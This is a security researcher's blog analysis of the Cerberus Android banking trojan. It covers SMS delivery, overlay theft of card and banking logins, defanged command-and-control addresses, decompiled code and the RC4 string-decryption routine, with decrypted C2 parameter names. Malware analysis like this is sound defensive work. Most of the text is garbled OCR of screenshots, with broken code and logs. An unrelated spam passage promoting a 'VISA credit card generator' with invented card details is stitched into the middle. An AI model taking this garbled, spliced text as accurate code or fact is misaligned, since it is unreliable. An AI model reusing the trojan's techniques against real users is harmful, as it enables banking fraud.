Cerberus Analysis

written by Mert SARICA | 1 December 2020

In February 2020, I received a SMS on my cell phone that made me quite
suspicious. When I visited the https://ko[.]tc/hediyekazani web address
mentioned in the message, I found that I was redirected to the
http://www-bedavainternethediyeuygulamal.]com web address. A short time after
receiving the SMS, when I visited the website again, I saw that the images on
the site had changed. Saying “suspicion is the whip of a cyber security
researcher,” I decided to take a closer look at this situation.


https://www.mertsarica.com/cerberus-analysis/
https://www.virustotal.com/gui/url/8c74e0d22998a0a2e32622c88470090bc4183f828013273c040de3259b1197a2/detection
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I downloaded the 5GBeta.apk file from the website and uploaded it to the
Koodous web application, which is used for mobile malware analysis. The
analysis failed. Then I uploaded this application to the VirusTotal web
application and, although I encountered a clue that it was a banking malware
(Cerberus), I did not see the address of the command and control center in
the behavioral analysis output. I couldn’t find answers to the questions that
came to my mind, so I decided to quickly analyze the 5GBeta.apk application
dynamically using the Genymotion Android emulator.

As soon as the malicious application was installed on Android, it began to
request permissions one by one to achieve its bad intentions. After obtaining
the permissions and successfully completing the installation, it hid its icon
and started working in the background and communicating with the command and
control center with the kryll[.]Jug (8[.]208.19.185) web address. When I
searched the 8[.]208.19.185 IP address on VirusTotal, it was clear from the
passive DNS information that it was not innocent at all.


https://koodous.com/apks/4c08f84f625ba7afb75d56400ca093d5da0f890b78b8a0c4ba919b135856086e
https://www.virustotal.com/gui/file/4c08f84f625ba7afb75d56400ca093d5da0f890b78b8a0c4ba919b135856086e/detection
https://www.genymotion.com/
https://www.virustotal.com/gui/domain/kryll.ug/details
https://www.virustotal.com/gui/ip-address/8.208.19.185/relations
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In my virtual Android operating system, a screen of Google Play, which was
created to steal my credit card information, appeared as there was no banking
application installed. When I entered a 16-digit credit card number created
for testing, I saw that the save button (SAVE) was not activated. When I made
the credit card field 19, the SAVE button became active. Probably the

malicious person has made the control of the 3-digit CVV2 number specific to



the form where the credit card number is entered and such an error has

occurred. After seeing that all the information I entered went to the command

and control center in encrypted form, I decided to pursue the encryption key.
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Who do not carry at least one credit card (CC) in their wallet nowadays? Few. Especially with the boom of online
shopping, a credit card is a must buying anything online. One of the most popular CC brands is from a company
called VISA. Almost every bank and small-mom shop out there try to issue a VISA card to their customers;
whether it's a credit, debit, prepaid, or just a charge card.

Valid VISA Credit Card Generator that Work

Generator: Test VISA Credit Cards
Issuing network: Visa

Card number: 4510 9658 3456 0735
Pin: 1537

Name: Josh Lunar

Address: 9007 Mountaintrail Way
Country: France

CvVv: 938

Expiration date: 11/2022

enerate VISA Credit Card

Take a look at the legendary VISA company if you don't know who they are duh.

People hesitate to share their VISA CC details for an online purchase. Those working as developers or quality
assurance engineers for software companies may need to have thousands of credit card numbers to feed
through their applications. They need a tool to generate these kinds of valid VISA card numbers in bulk. They
should use a VISA Credit Card Generator 2020 for getting these test numbers regularly.
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Before pursuing the encryption key, I installed
different banks on my virtual system to confirm

had stolen any banking information. As a result

Rewite| | Recoring

and ran 10 mobile apps of
if the malicious application

of my tests, the malicious

application was able to steal all the information entered by the user by

opening a fake screen over the login screen of the targeted mobile banking

application when it was running.
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aps_vboxaé: Gps navigation has stopped
GnssLocationProvider: Wakelock released by hand 'T_REQUEST, 0, droid 1ocation.GnssLocat: )
EGL_emulation: tid 1303: eglSurfaceAttrib(1210): error 0x3005 (EGL BAD_MATCH)

Failed %0 set EGL SWAP_BERAVIOR on surface 0xda732h80, error-EGL BAD MATCH

tid 363: eglCreateSyncKHR(1831): error 0x3004 (EGL BAD ATTRIBUTE)

OpenGlLRenderer: Incorrectly called buildlayer on View: ShortcutAndWidgetContainer, destroying laver.
OpenGLRenderer: Incorrectly called buildlayer on View: ShortcutdndiidgetContainer, destroying laver.
zygote : Background concurrent copying GC fresd 7108(3MB) AllocSpace objects, 10(236KB) LOS objects, 42§ free, 11MB/20MB, paused 1.08lms total 726.50lms
zygote : Skipping duplicate class check due to unrecognized classloader

Resourcelype: For resource OK7I060007, entry index(7) is beyond Type entryCount (2)

ResourceType: Failure getting entry for Ox7£060007 (t=5 e=7) (error —75)

GooglePlayServicesltil: The Google Play services resources were not found. Check your project configuration to ensure that the resources are included.
memtrack: Couldn't load memtrack module

android.os.Debug: failed to get memory consumption info: -1

AlarmManager: Suspiciously short interval 12000 millis; expanding to 60 seconds

zygote & Background CONCUrTEnt copying GC freed §5957(SMB) AllocSpace objects, 11(220KB) LOS cbiects, SO% free, SMB/LSMB, paused 156us Total 152.944ms
zygote : Skipping duplicate class check due to unrecognized classloader

zygote : Checksum mismatch for dex base.apk
ActivityManager: START u0 © tion.MAIN tent. category. LAUNCHER] £lg=0x10200000 cwp= ‘bamk/ . ui.beforelogin. nonbanking. NonBankinghetivity bnds=[395, 244] [473,374]} from uid 10015
zygote : Skipping duplicate class check due to unrecognized classloader

Resourcelype: Failure getting encry for DXTZ060007 (t=5 e=7) (error —75)
GooglePlayServicesUtil: The Gosgle Blay services resources were not found. Check your project configuration to ensure that the resources are included.
Choreographer: Skipped 47 frames! The application may be doing too mich work onm its main thread.

mein r:init:s0 cclassunix_strean socket permissivesl
main 14125]" dev="s0ckes" ino=L4125 “r:init:a0 tclass=unix_stream socket permissivesl
main pe=1200 audit(0.0:35156): ave: denied ( write | for path="/dev/socket/zygote” tclass=unix_stream sockst permissivesl

T e L e i /uoasi £or activity pany

memtrack: Couldn't load memtrack module
android.os.Debug: failed to get memory consumption info: -1

zygote : Unexpected CPU variant for X3¢ using defaults: x36

Lua.Xposed: Loaded ‘bank: 10091

type=1400 2udit(0.0:35157): ave: denied | read } for name="capacity” dev"fuse” ino=t lendist ._rifusesst tclass=file permissive-1

type=1400 eudit(0.0:35158): ave: /dev/pipe/battery/BAT0/capacity” dev="fuse" ino=§ scontext=u:r:healthd:s0 tcontext=u:cbject_r:fuse:s0 tolass=file permissive=l
type=1400 eudit(0.0:35159): ave: denied { getattr } for path="/dev/pipe/battery/BAT0/capacity” dev="fuse" ino=8 scontext=u:r:healthd:s0 tcontemt=u:ohjsct_r:fuse:s0 tclass=file permissive=l
vndksupport: sphal namespace is not configured for this process. Loading /system/lib/egl/LibGLES emlation.so from the current namespace instead.

vndksupport: sphal mamespace i3 not configured for this process. Loading /systems/lib/eql/LiDEGL emulation.3o from the CUFTent namespace instead.

MultiDex: VM with version 2.1.0 has miltidex support

MaltiDex: Installing application

MaltiDex: VM has miltidex support, MultiDex support library is dissbled.

Firebaselpp: com.gosgle.firebase.auth. Firsbasehuth is not linked. Skipping initialization.

vnd¥support: sphal namespace is not configured for This process. Loading /systemslib/egl/LibGLESvL CM emulation.so from the current namespace instead.

FirebaseRpp: Le.ireb h.FirebaseCrash is not linked. SKipping initialization.
£ APp measurement is starving up, version: 11020

ES : To cnable debug logging run: adb shell setprop log.tag.FA VERBOSE

2 To enable faster debug mode event logging run:

n adb shell setprop debug.firebase.analyics. [ pank

FirebaseIniterovider: FirebaseApp initialization successful

ActivityManager: START u0 {f1g-0x10800000 3m. yiol s 1uiysg. i facueugolkihnt . yaqtduos]todjxofosal bwasmv} from uid 10097

metd  : type-1400 audic(0.0:35160)3 ave: denied | getopt | for pathy fwmazka” 12,768 tolass-unix_stream socket permissive-l

netd ype=1400 audit(0.0:35161): ave: denied | read )} for path: " ©230:6512,C7¢8 telass=unix_stream socket permissive=l

netd  : type-1400 audit(0.0:35162): ave: denied { write } for path="socket:[71172]" dev="sockfs" ino=71172 tcontext=uzr: init:a0:c512,c768 telass-unix_stream socket permissive=l

NetworkSecurityConfig: No Network Security Config specified, using platform default
CrashlyticaCore: Initializing Crashlytics 2.3.17.dev

In order to find the encryption key, I used the GDA tool to decompile the

5GBeta.apk application, and by looking at the AndroidManifest.xml file which

contains the basic information about the application, I saw that the classes

between the MainActivity class, which will run first when the malicious



https://github.com/charles2gan/GDA-android-reversing-Tool

application starts, and the source code were different. This indicated that
the malicious code block was loaded dynamically during runtime.
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\Users\Hert\Desktop\56Beta.apk:={Lncneapsbpysnarhkjjn/yjolralaqlpzyjfuls/gsiverinfzdy/0slinboost;}
& AccessPermission oy

set instructior smali
B DexClass
 eegelskoktiepyyahngeu package: mcneapsbpysnarhkjjn.yjolrnlaqlpzyjfuls.gsiverlnfzdy.Oslimboost -
} meneapsbpyznarhkiim
eyltjgoomragnrblyly import android.app.Application;
nogtzdelinxb N .
et D os1imboost AppLication
yjolrmiaglpzy : GDA xml
 ebtegtbukdtxckz]
1 gsiverlnfzdy vodd <inits(); Aoy, - - - - p
® aLunberother static String assistfalse(); <action android:name="android.app-action.DEVICE_ADHIN_ENABLED" >
static String avoidmove(int po,int pl,t T
static String cityearth(boolean pe,int D tea Lo

Static String clothword();
static String convinceghost(boolean po, <activit d:name="hxdhpatrritcdgliiluiyse. ifacueugolkkhnf . yagtduosjtcdixofosal .Unakeera® android:screendrientation="1" >
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static String elephantcoast(int p8,int

i i t < nane="hxdhpatrritcdgliiluiysg.ifacueugolkkhnf. yaqtduositedjxofosal . rkyeicrbdfn® >
static String enrollelbou(boolean po,ir Sy 3
static String eternalnegstive(); <activity d:name="hxdhpatrritcdgliiluiysg. ifacueugolkkhnf. yaqtduosjtcdjxofosal .Ltailsi tuate” 1d:screenorientation="1 3
static String expressembrace(int po,int Gactivitys
static String fictioncurrent(int pe,int <activity android:label="" android:icon="g7F020000" oid: name="hxdhpatrritcdgliluiysg. ifacueugol kkhnf yaqtduostcdjxofosal.
static String fingerclever(int po,int ey
static String hourmisery (boolean pe,int <activity - d:1abel-"label_remind” android:name="hxdhpatrritcdgljiluiysg. ifacueugolkkhnf.yaqtduosjtedjxofosal .Nexoticsuspec

@ Fhardcigar static String Gactivitys
static String impactinfor(boolean po, <activity android:name="hxdhpatrritcdgljiluiysg. ifacueugolkkhnf. yagtduos jtcdjxofosal . Zuarfareuay” android:screenOrientation=
static Strin curve(int po,int pl ¢ ey

z SR P <activity - d:name="hxdhpatrritcdgl]iluiysg. ifacueugolkkhnf. yaqtduostcdjxofosal . jrnk” >
Frephewreunio static String masslucky(int pe,int p1,f Sty

@ Glaterspy static String oakguilt(int p,int pl,St tion id:name="android.intent .action. HAIN" >

D Cimioni B e s =

® Heasualvir static String organblanket (boolean o, <categor d:name="android. app. role SHS" >

sy Static String pagestrong(int po,int pi, e 8

S - static String raceuphold(); <category android:name="android. intent. category. LAUNCHER" >

@ mimpulseincly static String ravenreveal (boolean pa, ir e diaatis !

@ Htoothrepeat static string regulartomato(int po,int e

D Jmuseumjunior static String scoutbroom(); </activity>

@ Jpillramp static String spaceincome(int pe,int pl <activity android:label="label_pitch" android:name="hxdhpatrritcdgliiluiysg. ifacueugolkkhnf.yaqtduosjtcdjxofosal. Vidleload" >
static String tagfringe(); activity>
static String tankglue(int p,int p1,St <activity d:label="1abel_coral” d:name="hxdhpatrritcdgljiluiysg. ifacueugolkkhnf.yaqtduosjtcdjxofosal .Rbleakdemand”
static String tuonaple() activitys
static String untiltornado(int pe,int i s e e e e e
static String waterproof(); A i 3

void attachBaseContext (Context pe); ] ]

File bluestove(string pe); Es
void brandlaugh(String po,String p1,5tr

int clutchartist(stringBuffer pe);

File festivaluncover(Context po);

StringBuffer givewrap();

String hiddenpen(String pe);

String matrixgarden(File po);

Stringdu

boolean nervepanic(StringBuffer p@):

boolean sausagedeer(String p@)
File throwgaze(Context po,St:

When I looked at the folder
/data/data/mcneapsbpysnarhkjjm.yjolrmlaqlpzyjfuls.gsiwerlnfzdy where the
malicious application was installed, I noticed the large files ring0.apk and
NpA.json. I learned that NpA.json was actually a DEX file, and when I
decompiled it using the jadx tool to see the source code, I encountered the
MainActivity class that was present in the AndroidManifest.xml file.




After analyzing the encrypted strings, I found that the f class is
responsible for decrypting them. To do this, it takes the first 12 characters
of the encrypted string as an RC4 key, and uses that key to decrypt the rest
of the string, which is BASE64 decoded. (For example, if the encrypted string
is

mjwpnqfxpgweNDNiYjQ2M2JiNzMxNzE30WM50DR] ZmI1ZWFkYzYxMj YANDEAYTY3MDVhNTZ1ZGZ1M
GNhNmQ1ZDV1IMzU2MTE5NWU5YjYyNw==, the RC4 encryption key is mjwpnqfxpgwe.
Using this key, the rest of the characters
(NDNiYjQ2M2JiNzMxNzE30WM50DR]ZmI1ZWFKYzYxMjY4ANDE4YTY3MDVhNTZ1ZGZ1MGNhNmQ1ZDV1
MzU2MTES5NWU5YjYyNw==) are decoded by BASE64 and then decrypted by the
encryption key.) I was also able to easily decrypt all the strings by using
the Java code in the f class and compiling it with the help of
compilejava.net website.
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# ugahpnzku 51| public String Z = b("sodfijbdlhlsoDYar
# wjubmgnilziawfuizc 52| public boolean a = false;
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© Bchildblouse 38| public String af = (b("auighbecluggZet=") + b(uskhxsbitudhYTFKILQANZRLNIQZIMIAY JkEYTQSTHI2ZGHEY, + b "ahemecgar KEblinH 30Dk 2YYmY2ZDNINOTYBIGINOUBNIDUANGHITBKIDQz" ) + b(*Jede:
O Berewfatigue 3 GEBLIC e e (beaigic g ) | HCoienil Fnarmou Oy e o s 0si TGen omsy 1y e LAHG SR g R DR T ") + b("tuppy
® bwasmv a0 public String aH = (b(" o b(" ZTE@MZBLND: TIGYT. 5 ") + b(" ZTh2YzgalN
41| public String aI = b(" ney/mnthqxplZTE;VjVSOTi«NJj )
O« " 42| public string a3 = b("hwlaohmxneh DdiY2Qz0TIaNNYSY 2y Y200 JELI2Y2YTeHiTURTOVK THTSONF IZQ30MUET) X THSOMIIKTHIINAI21 1o
® cpeukpzpumbijfs 43 public String ak = b("jjptdsxchmfchiYxNHULMMIJOGZmYIF JOTESNGYWY THSNGYINZUSM2USZTE2M ‘msvms‘ MTILYw:
© cuklitemuka a4 public String al = "PCFETENUWVBFIGh@bw+CxodG1sIGxhbmeITmVul; AKPEhlV;\Q&()—gI(—E ko ]VVEVtO[I&[x.—gIC g 1pS32ak Ig d21kdl WIN1LXdp ZHR
®d 45| public Clacc[] ah = {wzeojtewpdf. class, vahzjahlkpaq. class);
45| public string aa = b("tnaizllhkshxivizys &
g e m v
Ecomicslim
Smal
@ efdioknlnxpnl | coce [Sra]

File View Navigation Tools Help
SRems#FAe | @B L
T dbgbXTtBRFRArbEabg = ——— —= - — - - - s
o e @ hxdhpatrritedgl jiluiysg. -yaqtduosjtcdixofosal £ 3 | @ hxdnpa luiysg. i % | ® nxanpatrr: luiysg .yagtduosjtcd |,
fgxjbznbytnegjtmhlyttpz 1 [package hxdhpatrritcdgliiluiysg. ifacueugolkkhn?.yaqeduosjtedixofosal;
8 fexj ytneg] Lyttp: package P g1jiluiysg = yag jtedj; 5 El
 itrlkztezelaxtfpzls 2
& kpbsm 5 |publlic final class f {
B a|  private int[] a;
 tcfzajueajcq 5| private int b = ;
#F ugahpnzku 5| private int c = 0
# wiubmgnilziawwfujzc 7
f# yFacdpiwgey fiyFlduyg 5| public F(byre[] barr) {
f# zmnraiotuypcs 2 ; this.a = c(bArr);
®a
u
©b 12| private static void a(int i, int i2, int[] fArr) {
B Bchildblouse 13 int i3 = iArr[i];
0 Bcrewfatigue 14 iArr[i] = iArr[i2];
@ buasmv Bl EREpEea
®c &
o 17
ic] cpcwlfpzwmbljfs 15 private static int[] c(byte[] bArr) {
® cuklitemuka 19 int[] dArr = new int[256];
®d 20 for (int i = @3 i < 2563 i++) {
@e n iarr[i] = 43
© Ecomicslim 22 b e L
© efdioknlnxpnl 24 for (int i3 = @5 i3 < 256; i3++) {
g Emovepage 25 12 - (((i2 + iArr[43]) + bArr[i3 ¥ bArr.length]) + 256) % 256;
g 2% a(i3, 12, darr);
O Fbladedivorce 27 }
O Fintacttobacco 25 returnziAre;
Q Frelybring g
] Jflipjewel B public final byte[] a(byte[] barr) {
@ jihkbhmintent] 32 return b(bArr);
@ jnghdyewiuc EEI I
® jrnk 34
7 " 35| public final byte[] b(byte[] barr) {
g Jrecldllyajzxzlb 36 byte[] bArr2 = new byte[barr, length];
kfqkjjspvhnst 37 for (int i = 0; i < bArr.length; i++) {
® kivrzmhxlmunhesd 38 i (this.b + 1) % 2563
@ Mclumphen 39 int i2 = this.c
@ mgtzajuxvigk a0 int[] darr = this.a;
© Mladyexcuse 41 int i3 = this.b;
Bt ekt a2 this.c = (i2 + 1Arr[i3]) ¥ 256;
PRrl o 43 a(i3, this.c, iArr);
B Oappearbrass 4 int[] dArr2 = this.a; B
O Oearlylevel 45 bArr2[i] = (byte) (iArr2[(iArr2[this.b] + iArr2[this.c]) % 256] ~ bArr[i]);
@ Paffordhusband 45 )
® prufpbventugy 47 return barr2; o
Q@ Psurfacemesh | code ['Smai]

|

2

c o

& compilejavanet

@ Hackd Career Infor.. [0} Linkedin 9 Mert SARICA (merts.. M Inbox - mertsarica.
3 i

37 public Final byte[] a(byte[] barr) {

E return b(bArr);

a0

a1 publl( Finsl byte[] b(byte[] barr) {

2 te[] b yte[bArr. length];

43 o ()'nt 18T br\rr,lrngth, i) {

aa, Shisb - (fhis.b + 1) % 3563

as int i2 = ¢

a5 intl] tarr = this.a;

a7 nt i3 = thi:

a8 this.c = (i2 + iArr[i3]) % 256;

a9 ai3, thisc, farr);

e int[] iarr

51 bArE(L] < (oyte) (Arr2[(iArralthis.b] + fArr2[this.c]) ¥ 256] A bArr(4]);
53 Peturn bArr2;

54

55/}

56

57 // one class needs to have a main() method

58 public class Helloworld

50

0

61 public static String a(String str) {

2 try {

63 7/ return new String(new f(str.substring(e, 12).getBytes()).a(b(new String(Base64.getDecoder ().decode (str,substring(12), @), "UTF-6"))))3
61 return new String(new f(str.substring(0, 13).getytes()).a(b(new String(Baseéd. getDecoder().decode(str. substring(12))))));
65 Festeh (Ex(ept)en unused) {

6

68 ¥

private statle byte[] b(String str) {
't Len

int Length = ser.len
bysel] Eare

o Length;
barr[i2 / 2] =

return bArr;

public static void msin(String[] args)

/1
5

i Evee] (Rength / 213

< i2 4= 2)
(Brte) {(Chavact ot abgtel v schacAliis)

16) << 4) + Character.digit(str.charAt(i2 + 1),

16))5

System. . pr)ntln(a(

pfoi

System.out println(a("gk

System.out.println(a(" fasfnhuqzlngDQwMTdeDcZYszH]kBN]VZ i
3

}

# s 0BG @O

Other bookma:

rks

R —

[command line arguments)

[ COMPILE & EXECUTE Il PASTE SOURCE Il DOWNLOAD ZIP

| [ default

sti-0048q=saved_contact skzip=q5ks
sti=005&q=saved o)
=rat_connectlus=
Aerat cmdfuse
ringa.apk

Successfully compiled /tmp/java_INzPK3/f.java
Successfully compiled /tmp/java_INzPK3/Hellokorld.java <-- main method

applicotion s ipaqshuse



3 C O+ & compilgjavanet * s 0B wO @O
@ Hack4 Career Infor.. [ Linkedin W MertSARICA (merts. M Inbox - mertsarica. Gther bookmarks
System. out. print (a( "ccxrdsJycoluliUIN KSNDVKHT T Ny ODCKY Y=Y JBhZnT 2M2V4N2TnZ GV LNOMBIZ LKYNT3HZFhMGYSZUSZUR hNIGF LI MTHZYZA" ) )5 =
St oprincin(ag-cmsds L InkeherEYS
out println(agednce)steunplizzong
ot printIn(a( otiegpasbegZ!
et prindna
ut println(a 1
< princdn(ag . 33
lout println(a nulmcef:dg(shqlgﬁU‘DDMVZF)DVNAOW )i
ot printin(a(tomcoteryirinlocTas D1KHTAGZ0=="));
Jout . printinag"dgismivbaanYT 320" 5
“printIn(s("gngarsx e GOy R T 125 T3 200 T Oy D243 0TI T LN TINGLOFN T EIGL )
out .println(a(” mlaemn]hwmz_mm):]N Q2H2Y 1N 10TYANGULNTAD YY1 26Uz 2 {FmNMEQHHZ |
out _printIn(a( "btfudlthinrth]YyMzY3Hzk1y AnHDRNZ 341Nz LD Ivi1zBkYShmliGFnZ TOLZDRM
ot (e Y LI O AWV My st \/lUNQyVT\/]UMVBGMRkNmQAOW )3
: in(aC e Lo A2 Z AN 12 T 0T G AL 26Uz e imEo ol U gy T Ca0D2n2050TE 1DE 06U TZi g )
BTN LN 2€ dhF2eogaNr D Ca sORINT IS GF 1oL JRLDUM AN B TSNS\ o SEOABN2 FSEGY BN L KOTE 200N Gee )
lout println(al"fsgvsnnplneylind=") )3
lout println(a o NANTE 12 AT IEOVLICIATONTKSIINE HDAIE 2O Cov e Y JUONT =0Tzt
‘ot printina i 2D TRnZGE 321D Iy BlzAh G Ty 06 ST G e 12 126EuZg—=")3}
sutiprintin(a{"itigra e roDgaz ) eunesy seiteizorion] e YZ3N2I2ZGIZITdhZnI0ZTY 0001 Ly
.Dut.pr‘)’ntln(a("stxub b N A S e V)'YMLBrmuxNDgZHJVlNZWN]hmM]EZYTU NTNLYTFKZThaODLnYi=="));
“out printlna "pbepiuniuob iz ExlinR 3 HLIISYZVntiT3 1Y TEnl §OZDTDZnG2Y 2U3Y hiY ZABUGLIOAT iz 1HDg SOOR i ;
Systen.out println(a(”txnimknfrdfgr2QuTZRYSZINDUIONINY. Jestizex C300RZIENYaR1Z RUNTQSY ThINRHZET TyNzd INZ=")) 5
© Systen.out.printin(a ISz T iy VALV Zovi ol LIS LN DU SHYULQRNT DL 8 306E HTmgLONE 023 ROTT22TL 1V yOHE
System.out. println(a SUxitzYz0 TF T DU 2o T LT e ST R RS G
Systen.out println(a Azt ‘wxrM.kmﬁq5V]c17ﬁvmeZmermu i1 JE0N22 e 1ZD0ANDQaN Y4t
S lbgm]FtlaON‘/lw T d 5001 G, P iRm0t 24200
systen_out printIn(a "cnmme jxnJu G e e SR mmvvzmzr[«"]awmwe i
9 System.out .println(a("paqzalseguringazs 11HnE2Z0MMI) kY T3 ZY30T VESNDAITOR!S i @1 Z3ZNKOT hKIT L3k
o Systemout primtIn(a( "oy co LU KNG T sty o061 Y Y ST YAl 3hZ OV LGB L THE GV US R L i
Systen.out println(a( "meirlixapdsil s
Systen.out. pmnﬂn(a("xtqhwbmtxvvaQ 05
gysten out printin(al’ssokiuibanmDeyver—)
Systen.out println(s kraayapZIGa-="))}
Syetem-out brintln{ag"Jhechs uohehhzTg2v0m"))3
Systen.out.println(a 39
7 System.out.println(a” 205
System.out.println(a 9%
Systen.out println(a 9%
System.out println(s 995
System.out.println(a 59
Sk Sntln(a 3%
System.out. println(a( "xouptxeapdodizIxi=")
Systen.out println(a("0sgpkrkalLxrg0TUxA=="))
System.out .println(a( "nxivguxyzbsrvzFlvim="))}
System.out . println(aC"qfuoceiunugblizUsih==")
Sar Tn(al™ 9%
System.out. println(al 99
5 Systen out println(al 9%
System.out println(al 9%
System.out println(ac” 993
Systen.out println(sl” 3%
Systeniout prinin(a(l 9%
ystem out println(a(” rus 9%
&y em ot B neIn{ag gy gt P TimA) )
(command line arguments)
Il PASTE SOURCE Il DOWNLOAD ZIP | [ defautt 2

[ COMPILE & EXECUTE

Successfully compiled /tmp/java_3pPRus/f.java
Successfully compiled /tmp/java_3pPRuB/Hellobiorld.java <-- main method

7 =
qwertyulupasdfgh]klﬂ(c\rbnmi23456735@
18q=d_attacker_tuokzip

attacker&np q38us=
is_sttacker&zip=qsu:
nfo_devicetzip
eu_devicelzip
sti-006kq-saved_data_attacker&zip=q7&us= -

After observing that the encrypted data sent to the command and control

center was in JSON format,

I focused on the parts of the code where this

class was used. Since I knew that the malicious application sent the

sti=004&q=1info_device parameter to the

intervals

and then the encrypted ws= parameter,

command and control center at certain
I found the code block where

these two values were concatenated. Upon analyzing this code block, I found

that the ws parameter was encrypted with the alien ring0 wdfes RC4 key.

& “New project - jaax
File View Navigation Tools Help

=B ES

g Bl

£ oznxpm

1jiluiyse. ifacueugolkkhnf. yaqtduosjtcdjxofosal.d 3 | @ hxdhpatrritcdgljiluiysg. ifacueugolkkhnf.yaqtduosjtcdixofosal.yaq % | &

patrritcdgljiluiysg.i .yaqtduosjtcdjxofosal wzeojtewapdf X |

-8 pgtjorsgpddtbtuhyj Find: b.f

1 Previous | Mext [ Mark Al []Regex [7] Match Case []Whole word 3¢

£ pzatgifzngerigujdab
£ siyeyltxnkeburd

£ tomk

-1 yaqtduos jtedixofosal

i bsuoprbdgforpg

8 dbgbxttbhfkhrbtdbgxukzfiux
# djaykh

£ fgxjbznbytnegjtmhlyttpz
8 itrlkztezelaxtfpzls

£ kpbxm

£ tefzajueajcq

JSUNUDTECT. pUTIal

"
oraesnw] 2dacCGTYE:
Jsonobject. put(a( "bmarjuwby JbsHTUxd-
Jsonobject.put(a( "hauedpkFgvekyirnaig:
350MObject . put (a( "wnnvunhsytgljRiZg
JsonObect. put(a( "yitantmkqrnpZnFiZe
Jsonobect. put(a( " iwwthqrkgkqtZoauie:

(

(

a(e.i(this) ?

e.k(this));

e.m(this)):

Jsonobect. put(a( "kovezgvizddmicI2Ng
Jsonobject . put(a( "wangywpxkuzy YTgsHA

350MObject . put(a( "zjzkeexahtrriDkx! . F((Context)

aT 4
e.b((Context) this));
this.b.e(this, this.a.q));
Feghhzunxt;lim
this.b.e(this, this.a.C));

Locale.getDefault() .getLanguage());
afe.bi(Context) this, (Class<2>) mgtzajwxvigk.class) ? "Ffeghhzunxtiliny="

el

this.b.e(this, this.a.0));
checkCallingorSelfPermission(this.b.a.ak)
this));

=TT P

: "unqyldrvlpayhz0="));

“wmqyldrvlpaylzg="));

0 2 ((Telephonytanager) getSystemService("phone”)).getLineiNumber () 15

© Frelybring
© Jlipjewel
@ jihkbhmintent]

Class U] Method

3 ugahpnzku e.a((Context) this, this.a.al[8])):
8 wiubmgnjlziamifujzc .. a(((untext/ this, this.a.al[1]))
8 yfacdpjwgeyfiyflduyg Jsonobject.put(a( "buobeiprokoalizF3¥Q: .a((Context) this, this.a.al[2])) =
8 znnraiotwypcs = Jsonobject . put(a(" ficxilmeFlezuDrlza -a((Context) this, this.a.al[3]));
@ 56 } catch (J5ONException unused) {
®b 57 . a("gluuyyutaj 0w ZhY§Vi0DTiMDYy OKTSZ ] z
@ Bchildblouse 69 Stringsuilder sb = new Stringsuiljer ()5
@ Berewfatigue 70 sb.append(a( "omxlxcl; : 2 ZaR1M§ Y5 Rk
© buasmy 71, sb. append(jSONObject tastrlngf‘)
G 72 String d - this.b.d(this, this.a.ar + this.b.f(jSONObject. tost
® cpowkpzpumbiifs i Stringduilder sb2 = new Stringbuilder(); ) g
e i & in:EE:::E:; nx Lxc1graxz0TkaH2Yx 23001 kZDdnDknZnRLM S YSHjRkilg

LAp s 3 (d o= nall) {
®e 7 iR
Q Ecoaticslis 78 string 2 = this.b.e(this, this.a.n);
® efdicknlxpnl : if (e2.contains(a("tampilhogpiore=))) "
© Enovepage a1| [ @ Tersearch g g - [
® f 82
© Fbladedivorce a3 et o
@ Fintacttobacco A

Search definitons of: Search optons:

] Case insensitve

© jnghdyewiuc

@ jrnk

@ jtocldllyajzxzlb
® kfgkjispuhnsf

® kivrzmhxlminhesd
© Mclumphen
O S A |

Node
® hxdhpatrritcdgljiluiysg. ifacueugolkkhnf. yagtduosjtcdjxofosal .b

Code
public String ar - b("BBEPIURINGBTMEEZNTRHNISY VT IV TBANZyIIZhETEAZD:

3 [ 17 Subat 2020 Pazartesi




& Online Java IDE favac 180.201) X + X

<« ¢ 0 enae # s ommBawe &o
m Hack 4 Career. Infor... m Linkedin W Mert SARICA (merts. M Inbox - mert.sarica. Other bookmarks
a publl( Finsl byte(] b(byte() barr) ¢ &
a2 Arr2 = new byce[bArr . length]; A
43 Far (int 1 bArr.Irngth 1+4) {

an this.b = (m; b+1) %

as int i2 = this.c;

a5 int[] sarr = this.s;

47 lnt 13 = this.

48 (2 + 1Arr[) 1) % 256;

a9 3(15 e a o)

58, ine[] iarr2 2 thi:

51 DART2[1] = (byte) (iArr2[(iArr2[this.b] + iArr2[this.c]) % 256] ~ bArr[il);

= s 5

51 1

=

56
57 // one class needs to have a main() method
58 public class Helloworld

59 {

61 publl( static String a(String str) {
62

63 ¥ 7/ return new string(new f(str.substring(9, 12).getBytes()).a(b(new String(sasess.getbecader (). decode (str.substring(12), 0), "UTF-8"3)));
61 return new String(new f(str.substring(9, 12).getBytes()).a(b(neu String(Basesd. getDecoder().decode(str. substring(12))))));

65 ption unused) {

6

67

68 ¥

69

76 private static byte[] b(String str) {

7 int length = str.length();
v byts[(length /21
;82 +=2) {
7 Sareriz 7 o] 2 (byte) (((hars(ter digit(str.chart(i2), 16) << 4) + Character.digit(str.charAt(i2 + 1), 16));

7 return bArr;
i

s
79 public static void main(string[] args)

81 //  System.out.print(a("ccxrdsjycolvNjUIN]KSNDVKMTIINWIYODCXYYZY JBhZNT 2M2Y4NZIhZGVLMOMBNZ 1kYWISHZ FhMGYXZUSZHRNWF IHFd IMTHZYZA" ) ) 5

2 systen.out.printla(a(: stxub(ebu:memHzMZMSHvlSN]YZVTIINTIAY]QSZDkyY]V)YHU3NGuxNDgZHJ\ﬂNZUiN]hmM] E2YTUZNTNIYTFKZThmOD LY,
85 intln(a

86 System St PrintLn(a(" txhjmknfrdfqYzQuiTTZKrIZINDULOMXY Zcy ZTB INSE SMzgxYz£0ZDC50DKN ZHEUYRRLE JRINTQSY ThimiizZT TyNzd iz

z

[(command fine arguments) ]
[ COMPILE & EXECUTE Il PASTE SOURCE Il DOWNLOAD ZIP | [ default ]

_attacker&zip=q4du
nfo_deviceRz ip=q58u
ew_devi cedrip=goaus:

Successfully compiled /tmp/java_xBFgST/f.java
Successfully compiled /tmp/java_xBFgST/Helloborld.java <-- main method

le View Navigation Tools Help

DR s elsae|@ Bl
] B P = o
22 NpA. dex @ hxdhpatrritcdgljil _yagtduos jtcdj e % | @ hxdhpatrritedgljiluysg. i _yaqtduos jecdjxofosal.d 3 | @ hxdhpatrritedgljiluysg. i _yaqtduos jecdjxofosal.yqd 4|
.48 Source code o s
O VT 77 public final void c(Context context) { =
S 428 if (e(context, this.s.X).equals("true’)) {
 gurgxbpl 2P, a29 context.startService(new Intent(context, kivrzmhxlmnhesd.class)};
& hxdhpatrritedgliiluiysg S )
£ datjhneyiqfitkphupa |y
£ dwtzbbdabfeccudualzkln 432
